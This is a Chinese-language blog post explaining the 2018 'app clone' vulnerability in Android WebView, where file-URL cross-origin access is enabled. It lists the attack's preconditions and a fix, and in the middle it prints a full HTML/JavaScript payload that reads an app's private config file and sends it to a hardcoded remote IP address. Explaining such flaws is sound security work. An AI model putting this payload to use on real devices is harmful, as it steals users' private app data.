支付寶應用克隆2018/01/09

支付寶應用克隆


應用克隆,從支付寶自動領紅包鏈接談起

流程總結

自動搶紅包的鏈接

通過接收外部傳入的URL參數,在APP內進行加載 · URL Scheme協議 · link

跨域

瀏覽器同源策略 · 兩個URL的協議、端口、域名相同,則爲同源,互相訪問資源不受限制

跨域請求 · 不同的源之間的請求,會被瀏覽器所禁止

File協議

主要用於訪問本地文件 · html文件

WebView · setAllowUniversalAccessFromFileURLs · True

File協議的跨域機制 · File協議中的腳本可以跨域訪問其他協議,比如HTTP

攻擊思路

惡意html文件讀取本地敏感文件內容,並通過HTTP請求發送至遠程服務器

WebView加載本地惡意html文件

漏洞前提

  • 攻擊者可以外部調用被攻擊APP,指令其加載一個本地的html文件(比如搶紅包鏈接)
  • 被攻擊APP的setAllowUniversalAccessFromFileURLs值爲true
  • 攻擊者需要在被攻擊的手機上下載一個html文件並保存在一個可被File協議訪問到的位置(可以利用其他漏洞來實現)

payload

<html>
<script>

    var arm ="file:///data/data/com.example.q00412688.myapplication/shared_prefs/config.xml";
    var xmlhttp;

    if (window.XMLHttpRequest)
    {
        xmlhttp=new XMLHttpRequest();
    }

    xmlhttp.onreadystatechange=function()
    {
        //alert("statusis"+xmlhttp.status);
        if (xmlhttp.readyState==4)
        {
            window.data=xmlhttp.responseText;
            alert(window.data);
            var url ="http://114.115.139.176/getdata.jsp?data="+window.data;
            var xmlhttp2;

            if(window.XMLHttpRequest)
            {
                xmlhttp2=newXMLHttpRequest();
            }

            xmlhttp2.onreadystatechange=function()
            {
                //alert("statusis"+xmlhttp.status);
                if(xmlhttp2.readyState==4)
                {
                    alert(xmlhttp2.responseText);
                }
            }

            xmlhttp2.open("GET",url);
            xmlhttp2.send(null);
        }
    }

    xmlhttp.open("GET",arm);
    xmlhttp.send(null);

</script>
</html>

修復方案

將setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs這兩個屬性顯示設置爲False。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章